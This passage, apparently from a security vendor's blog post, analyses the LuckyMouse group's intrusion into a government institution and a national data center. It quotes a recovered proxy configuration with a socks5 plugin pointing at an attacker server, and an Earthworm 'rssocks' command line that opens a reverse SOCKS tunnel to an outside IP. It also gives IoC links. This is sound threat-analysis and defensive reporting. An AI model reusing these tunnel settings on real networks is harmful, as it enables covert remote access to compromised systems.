server_addr = 202.59.9[.]58 server_port = 8443 privilege_token = %token% [SDJY_proxy] type = tcp remote_port = 6001 plugin = socks5It is immediately obvious that the actor used the SOCKS5 plugin to route requests to the compromised network via 202.59.9[.]58:8443.

<h2>Earthworm tunneler</h2>The Earthworm tunneler is considered to be a typical tool for Chinese-speaking actors by Kaspersky[1]. We’ve seen this tool on all compromised systems of national data center. On one of these devices, we’ve managed to recover command-line parameters that were used:&nbsp; -s rssocks -d 139.180.155.133 -e 80. The tool itself creates a SOCKS tunnel to the provided server. It is publically available at <a href="http://rootkiter.com/EarthWorm/">http://rootkiter.com/EarthWorm/</a>.<h2>Conclusions</h2>As this blogpost demonstrates, LuckyMouse has used new methods to infiltrate the government institution through a third party’s system which they attacked.&nbsp;Avast has recently protected users in the government institution and national data center from further attacks using the samples we analyzed. We also discovered an interesting encryption method that delivers a hidden IP address in the whitespace of the C&amp;C response. We presume that the attackers updated their attacking toolset in this campaign after it was discovered by Avast.I would like to thank Adolf Středa, David Zimmer and Anh Ho for helping me with this research.<h2>Indicators of Compromise (IoC)</h2><ul><li data-list-item-id="e8b0aa6bdba020336983f38c4a2bcb765">&nbsp;Repository:&nbsp;<a href="https://github.com/avast/ioc/tree/master/LuckyMouse">https://github.com/avast/ioc/tree/master/</a></li><li data-list-item-id="ed9a5b9c7dc1ecdea5d1ed92719523d71">List of SHA-256:&nbsp;<a href="https://github.com/avast/ioc/blob/master/LuckyMouse/samples.sha256">https://github.com/avast/ioc/blob/master/</a></li></ul><h2>MITRE ATT&amp;CK techniques</h2>

Igor Morgenstern

Posts by Igor Morgenstern

Operation Dragon Castling: APT group targeting betting companies

Chasing Chaes Kill Chain

Backdoored client from Mongolian CA MonPass

APT group targeting governmental agencies in East Asia